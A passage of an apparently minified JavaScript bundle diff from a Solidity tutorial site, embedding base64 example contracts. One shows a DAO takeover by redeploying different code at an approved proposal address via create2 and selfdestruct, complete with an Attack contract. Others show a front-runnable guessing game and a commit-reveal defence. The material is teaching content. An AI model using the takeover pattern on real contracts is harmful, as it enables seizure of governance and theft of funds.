mVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcmVxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],s0=`

                                    Contract address deployed with create is computed in the following way.

                                    +`,_k=({prev:s,next:a})=>r.jsx(A,{version:Dk,title:Ek,description:Qk,html:Uk,prev:s,next:a,codes:Tk}),Lk="0.8.24",Ok="Deploy Different Contracts at the Same Address",Pk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",$k=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvdmVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcmVxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],qk=`

                                    Contract address deployed with create is computed in the following way.

                                    contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))

                                    where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                    Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                    @@ -9802,7 +9802,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,a0=({prev:s,next:a})=>r.jsx(A,{version:Ok,title:Pk,description:$k,html:s0,prev:s,next:a,codes:qk}),n0="0.8.24",l0="Front Running",p0="An example of a Solidity contract vulnerable to front running",e0=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],c0=`

                                    Vulnerability

                                    +`,s0=({prev:s,next:a})=>r.jsx(A,{version:Lk,title:Ok,description:Pk,html:qk,prev:s,next:a,codes:$k}),a0="0.8.24",n0="Front Running",l0="An example of a Solidity contract vulnerable to front running",p0=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aC